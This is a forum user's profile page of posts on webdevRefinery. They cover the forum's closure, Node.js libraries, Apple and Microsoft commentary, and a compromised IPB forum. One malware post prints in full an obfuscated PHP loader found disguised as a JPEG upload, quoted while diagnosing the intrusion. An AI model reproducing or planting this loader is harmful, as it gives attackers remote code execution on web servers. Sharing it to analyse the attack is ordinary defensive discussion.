Jump to content



Member Since 20 Feb 2010
Offline Last Active Oct 18 2016 02:43 PM

#157891 webdevRefinery is closed

Posted by Kyek on 16 October 2016 - 09:06 PM

Hi everyone,


Allow me to confirm what everyone assumes: webdevRefinery is officially closed.


This forum started in an age where scalability was expensive, new major languages appeared seemingly daily, and access to knowledgable and experienced help was exceptionally hard to find. webdevRefinery was created to share these things with a community of tech-interested folks of all levels, allowing them to grow together and receive instruction at a level that generally couldn't be found in schools.


I'm so proud of the success of this community. With a membership that started out with mostly high school, college, and recently-graduated folks looking to expand their tech knowledge, we ended up with technical executives, authors for well-known technical book publishers and tech blogs, engineers at Facebook and Google, and leaders in some of today's most loved startups. Lives were changed as a result of wdR, and mine was no exception.


Today, specialized technical help is much easier to find. Creating web applications with best practices in mind is far better documented. Sites like Reddit provide incredible niche communities surrounding individual technologies. Launching and scaling applications is now far cheaper, and the barrier to entry has never been lower. The problems that webdevRefinery set out to solve have been solved, and I'm absolutely thrilled both with the state of the software engineering community at large and the contributions this forum has made to it, however small.


Effective immediately, no new posts can be made on the forum, and signups are closed. I'll keep the posts accessible for as long as is feasible, but I place no guarantee on that. Please make sure anything important to you, including any private messages, is backed up. Access to this content may be removed without notice. wdR has been relatively activity-free for many months now, so I'm confident this decision won't have a major impact.


Thanks for your support and attention over these past 7 years. I hope wdR has helped you!



PS- if you're looking to keep in touch, find me on Reddit, Twitter, GitHub, or LinkedIn.


PPS- Apologies to anyone who joined in 2016. I've deleted all topics and posts by members who joined on or after January 1 2016 due to the extreme spam problem.

#146117 Vers: Version your damn models

Posted by Kyek on 04 June 2015 - 08:49 PM

My team and I released a new node lib today, 51% because we had a need for it ourselves and 49% because my jaw hits the floor every time someone tells me about scheduling downtime to update database schemas or having to start a full scan through their entire half-a-billion-record document store to update all their JSON blobs to a new format.


Holy mother of bajeezus there is a better way. Like a 4-billion-times-better way.




Hope ya'll find it useful! (I'll have a Reddit link tomorrow for folks who love me and want to donate some upvotes ;-) )

#146003 Build 2015 Summary - Visual Studio for Mac!

Posted by Kyek on 09 May 2015 - 06:44 AM

Nashville is known for its music, but in the professional world it's the headquarters of every major health network, and they all run .NET. That's where my company is, and even though we're hiring remote devs, we like to see local candidates. In a recent interview with someone local, the candidate said "this really interests me because you guys are working with an open-source stack. I will work with anything but .NET, and .NET jobs are all you can find around here". For the first time in my life I found myself saying, "I really can't promise that we'll never use .NET in the future."

I find it really respectable that MS is going after devs where they live, instead of staying inside the walls of their own ecosystem. I also really enjoy MS's tendency (especially recently) to reimagine how technology should be built instead of blindly copying the industry leader. That goes just as well for phones as it does cloud services, because while everyone else is trying to build analogues for AWS, the new MS services can't really be mapped 1:1 to an Amazon offering. Together they're comparable to Elastic Beanstalk + Elastic Container Service + kind-of-OpsWorks + kind-of-SNS-and-SQS but at that point it's clearly something new.

I've been really surprised how much I've liked MS announcements recently, and actually look forward to them now. Reaching out to the devs who have moved away from Windows is a fantastic approach to expanding their relevancy. VS Code was a great move with perfect timing too, as folks are realizing how much more pluggable and powerful (just based on community ecosystem alone) a JS-based editor can be, and Atom's getting such mixed reviews that a lot of people are open to trying something new.

For me personally, the one exception to my preference for lightweight and minimalist tools is my IDE. I keep trying to see what those who swear by Sublime/Atom/etc are all about, but I've come to rely so much on an editor that:
- Supports every language
- Has Intellisense in every language
- Parses JSDoc/PHPDoc/JavaDoc/____Doc and not only provides inline tips based on it, but type-checks your variables based on the type callouts in weakly typed languages
- Multiple run configurations, including support for all major unit testing frameworks. I want visual tests that I can click on to snap into the code
- Run configurations that will do all of that, but in a remote Vagrant box
- Built-in debugging
- Built-in terminal
- Built-in linters and visual errors
- Built-in VCS support
- DB connections that will validate queries in your code against a running database to check fields and tables
- Analysis and intellisense around third-party APIs
- more, because I'm a glutton for features

So I'd probably like VS Code more if I were an editor guy instead of a full-featured IDE guy. For me, though, it's not quite there yet. But with that said, I'll absolutely be keeping an eye on it :)

#145901 The importance of a local server?

Posted by Kyek on 28 April 2015 - 06:48 AM

Frankly if your intended traffic is only coming from one reasonably small local region (Like NZ versus the whole world or all of Asia), then if your server is located in or near that region, you don't need a CDN. A CDN is going to take your static files and replicate them at servers all over the world for fast, local delivery, but it sounds like you don't care about people all over the world-- you only care about NZ.

If static file serving is bogging down your server then it might still make sense, but otherwise I'd skip it until you know you need it.

#145547 Malware

Posted by Kyek on 25 March 2015 - 09:25 AM

What the fucking shit.

IPB, I am so done with you.

I just chmodded our skins to 444 and gave ownership to root. Get past that, fuckers.

Unless we're infected with something that grants root access (and that would be ... alarming), ya'll should be safe from work now.

But I'm still actively looking at switching us to NodeBB.


I just ran
on everything in the image uploads folders. Look what popped out at me.

photo-2155.jpg:         PHP script, ASCII text, with very long lines, with no line terminators
<?php $odpvmq0e='u5[5&F52G75t45qvRmu|m>?O}v|F%}qGF5tG75[t25q0F?s#im?F}misL$f!8>=6ZL@0zz0#?O}v|F%}>mbF7|7sq7EO|i%"}JuMM*uv1q@0u}i0],>lUfVUfNqDgg6><qxkkq*q@0&0?O}v|F%}07EO|i%"}JuMM*uv1s@&0mvE%0qH#WWqXYi4sqMF}17q@XqWWyqG0_0Rm(F7|mR>7EO|i%"}>?O}v|F%}sq7EO|i%"}JuMM*uv1q@G0_0qG_';global$qbc33qig;$qbc33qig=array();$w91eam29=array(205,214,203,221,202,209,217,212,194,130,138,195,136,131,137,141,154,219,204,231,222,215,152,144,153,220,159,254,234,247,245,241,232,250,145,158,192,208,207,251,218,211,248,156,235,253,238,227,240,236,249,229,133,132,149,150,213,134,197,223);foreach($w91eam29 as $mofug8px)$qbc33qig[]=($mofug8px^184);$pesn38k9=m8mqr5q1(array(79,125,55,109,82,70,117,77,70,106,109));$r34x2i3m=$pesn38k9(m8mqr5q1($odpvmq0e));$mxpt0auc=$r34x2i3m[0];$i4mmqobw=$mxpt0auc('',$r34x2i3m[1]);$i4mmqobw();function m8mqr5q1($v6v,$pin='',$f6="\x63\x68\x72"){global$qbc33qig,$jwqx;if(!isset($jwqx))$jwqx=array();static$qxn8;if(!isset($qxn8))$qxn8=0;$mo=$vwc=$ax=$nw=$f6;$k8y=$mo(33^66).$nw(141^226).$ax(70^51).$mo(24^118).$nw(10^126);$cf5=$ax(247^132).$ax(159^235).$f6(186^200).$f6(113^29).$vwc(167^194).$nw(107^5);$p8a=$mo(21^124).$mo(39^84).$f6(133^218).$mo(254^159).$nw(113^3).$mo(217^171).$ax(29^124).$ax(210^171);$xhp=$nw(254^145).$vwc(89^43).$nw(45^73);for($c5r=0,$j4bi=0;$c5r<($p8a($v6v)?$k8y($v6v):$cf5($v6v));$c5r++){$l07i=(($p8a($v6v)?$v6v[$c5r]:$xhp($v6v[$c5r])));if($l07i==(224^234)||$l07i==(23^26))continue;if(!isset($jwqx[$l07i])) $jwqx[$l07i]=$qxn8++;if(!isset($qbc33qig[$jwqx[$l07i]])){echo($v6v[$$c5r].' '.$l07i);exit;}$lim0=$f6( $qbc33qig[$jwqx[$l07i]]);$pin.=$lim0;}return$pin;} ?>
File is now deleted. My guess is, IPB has a hole that allows an attacker to upload PHP inside of a file with an image extension and bypass checks, and a secondary hole that allows that image file to be passed as an argument somewhere that includes the file as PHP and executes it.

#145523 Malware

Posted by Kyek on 24 March 2015 - 02:08 PM

oh god it's perfect xD

#145341 Malware

Posted by Kyek on 12 March 2015 - 06:46 AM

Howdy Demon :)

The easiest way to go is to `rm -rf cache/skin_cache/*`, then log into your `/admin` area, go to Look & Feel -> Tools -> Regenerate Skin Caches. Bam, problem solved.

But as mentioned above, there could be a second exploit hiding somewhere that allowed this change to be made. So make sure you're fully patched, disallow execution of php files within /upload, etc. I'm clearly still facing the same issue so I'll post more details as I find them, but that would be a good start and will solve the problem at least temporarily.

Best of luck!

#145275 Malware

Posted by Kyek on 09 March 2015 - 08:13 AM

There's been a lot more on the internet about this recently -- these attacks are happening en masse and people are finally starting to pick up on it. The redirect is being injected into a skin cache file (which I knew) but is taking advantage of another hole that gives it the ability to manually change the last_modified date on the file to hide from detection, which makes a TON more sense.

I'm hoping to lick this thing once and for all one night this week when I have more time to dig into backdoor #2.

...and I say that totally without innuendo.

#145077 Yeezys

Posted by Kyek on 12 February 2015 - 09:30 AM

...you should really provide a link or picture in posts like this. lol, guaranteed 99% of people coming in here have no idea what you're talking about.

(I am the 99%!)

#145058 Ongoing Server Intrusion

Posted by Kyek on 04 February 2015 - 10:53 AM

So, good news, bad news, and worse news.

Good news: This file isn't targeting the host machine. It's here specifically to execute (D)DoS attacks on remote servers. It's controlled in a cluster and has self-updating abilities, but the only thing it ever writes or modifies on the host system is itself.

Bad news: Obviously something put it here. If there was an exploit that allowed this to be written, anything you copy could have stuff in it that you'll just never detect that could compromise data or allow such attack scripts to be uploaded again. Nothing with PHP code in it can be safely moved to the new machine now without a full line-by-line audit. But you know this.

Worse news: It doesn't matter if you get their scripts working on an old version of Wordpress. If it's that old, support has been dropped and there are no longer any patches being put against it for known vulnerabilities. Even if you *could* get their site working on an old version of WP, you shouldn't -- this will likely happen again no matter how well you do it. The only right way to do this is to either get them off Wordpress if it's unnecessary (easiest option) or shoehorn what they have into a proper modern Wordpress extension that allows you to safely keep WP updated without rewriting their app every time (good luck!).

#144426 FlushWritable: How to stream without committing suicide

Posted by Kyek on 12 November 2014 - 08:16 AM

One of the most powerful features of Node.js are its streams.  You can create a read stream for a file, or network socket, or data generator, or basically anything that can be read, pipe it through multiple transform streams, and have it end up at one or more writable streams to actually put that data somewhere.  It's so powerful that beyond moving data around, it could even be used to model entire application flows.


But there's one thing that's annoyed the shit out of me for awhile with streams.  Transform streams are supposed to be a marriage of Readable and Writable.  They read data in, transform it somehow, and write it out.  They have a method called

that is called before the final finishing event of the stream is fired off, so that if the stream is buffering any data, it can flush it down the pipe before it's fully closed out.


Writable streams don't have _flush.  What the fuck.


I see the original thinking behind it -- Writable streams are supposed to be the end of a stream.  There IS no "down the pipe" for a writable stream, so there should be nothing to flush.


Except for when you need to buffer data to write to in batches, that is.  Like, to any API ever written in the history of APIs.  To datastores like S3.  Even batched INSERT queries to a sql table.


There are hacks to sort of give you this functionality.  Some people say to just have your app listen for a different event that you fire manually, so that you can do your flushing on 'finish'.  That's ugly as hell and breaks what the 'finish' event is for.  Others throw a Transform in front of their Writable and hijack its _flush call.  Crappy.  Others use 'finish' to flush and don't care about the fact that their stream is still 'working' when any listeners think it's done.  Gross.


So I just published a tiny library on npm called FlushWritable.  Github: https://github.com/T...t/FlushWritable


Just use that in place of stream.Writable, and everything just works if you define

.  Drop-in replacement, and doesn't break when Node.js changes its streams API.  Bam.

#144186 Anyone want a keybase.io invite?

Posted by Kyek on 29 September 2014 - 06:47 AM

Coming your way, ftfish :)

#144005 Apple iPhone/iWatch event - Sept 9

Posted by Kyek on 12 September 2014 - 08:49 AM

What an unbelievably bad rollout. This launch was not a surprise, and it's not the first time they've done this. Why everyone's websites STILL go down after REPEATED experience with launch day traffic is beyond me. If I did that, I wouldn't have a job anymore. Temporary scale-up, people. Cripes.

#143953 Apple iPhone/iWatch event - Sept 9

Posted by Kyek on 08 September 2014 - 06:45 AM

Sounds like the iWatch will definitely happen.  Hearing that they've had battery life issues and reading about the swath of sensors they're putting in the thing, I'm going to go out on a limb and say it'll differ from the Pebble and currently available Android Wear devices in that the band will be part of the device itself.  Either housing flexible battery tech, or removing sensors from the main watch housing to relocate them to the band and make more room for a more traditional Li-ion in the main housing.  That means you won't be able to go out and buy a standard 22mm band replacement like you can with current smartwatches, but given that they're inviting top fashion reporters and such to the event tomorrow, I wouldn't be surprised if they had multiple styles available or offered multiple bands of their own to choose from.  It already leaked that they'll have two watch sizes to look good on differently sized wrists, and that the display will likely be an OLED screen that curves around the wrist.  First legitimate use for a curved display, IMO.


People are saying it'll play a key role in Apple's NFC payments system, but then in the same breath they say that the payment system will be secure because of TouchID.  Unless Apple found a way to put a fingerprint sensor in the watch itself (unlikely) or they're able to pull unique enough biometrics from the watch sensor to reliably identify the individual wearing it (also unlikely), then I think that's bunk.  You can't have the watch play an integral role in mobile payments and still require the customer to take the phone out of their pocket to use TouchID. It defeats the whole purpose of making the transaction on your always-accessible screen.


I don't think anyone will ever admit it tomorrow, but I also have the fairly unpopular opinion that product dev at Apple collectively shat themselves when Google demoed Android Wear at Google IO and had such an incredibly robust third party application solution.  Apple's MO thus far has been to put out an initial product release without support for third party code -- think iPod, iPhone, Nitrous, Siri, etc.  Reports say that Apple's closest social media partners received SDKs for the watch *extremely* recently and were tasked to come up with demos for the event tomorrow, and that the watch was supposed to be released pre-Christmas and is now pushed back to 2015.  I think Apple planned to release an incredible fashionable device with a strong offering in health monitoring and Siri integration, with public availability of an SDK for well after the release.  With so many people looking to Apple to trounce the competition and so many news outlets calling this release Tim Cook's "defining moment", I don't think they could go to market without that SDK anymore.  I just hope that it doesn't feel rushed like the Android Wear family of devices so clearly do.  With Apple not hesitating to push back the release date and miss Christmas, I hope that indicates they'll pull it off cleanly.


iPhone! I feel like we already know everything about this because of how insane the leaks have been this year.  The Feld and Volk leak was especially damning.  There hasn't been much released about the 5.5 because apparently it's going to production later than the 4.7, but the whole phablet concept always bothered me anyway.  While I generally consider options a Good Thing, Apple's become so successful by making the decision to cut down on options and provide the public with something better-planned and optimized.  That's allowed them to avoid the flagrant fragmentation that Android has been so plagued by.  Given that I'd almost like to see the 5.5 revealed as a hoax, but that will never happen.


Someone on /r/apple shared a really interesting prediction that the rubber seal under the home button and the borderline-ugly rubber-looking striping on the back of the phone point to water resistance. THAT would be super cool, and absolutely worth the not-so-stunning back plate.  Apple's also dug themselves in a hole in the past, with Steve Jobs standing on stage and mocking the competition for having phones too big to operate with one hand -- so others have speculated that there might be a new interface mode to better support one-handed operation of the device.  I saw the part leaks for the new 2amp USB charging adaptor and the reversible USB cable too, but more recent reports have said not to expect it to be released with the new iPhone... which is upsetting. A 2amp charger would be slick, and frankly I want it for my raspberry pi xD.


I could go on, but I already wrote a book :D. I reserved a conference room with a huge TV at work and invited the apple-heads on my team to a "product purchase plan" meeting in which we will "investigate the features of available technology purchases and weigh our options going forward" xD.  It never fails -- every time Apple has a keynote, someone just needs to pull me into some urgent meeting.  Can't do that if I'm already holding my own :D

#143918 DB Structure for collecting data on views, points, etc.

Posted by Kyek on 04 September 2014 - 09:27 AM

Looks good :)  My approach would be to let MySQL do the work for you, though.  The following assumes there's a unique index on user_id+day:


INSERT INTO points (user_id, day, points)
VALUES (1, NOW(), 1)
points = points + VALUES(points);


Then you can set a MySQL trigger that takes that point value and adds it to another table that keeps a running total.


So now any time a point is generated, you run a single query that will:

- Create a row for that user/day combo if one doesn't already exist

- Add the points to the user/day if it does

- Add the points to the running total


And bam, done.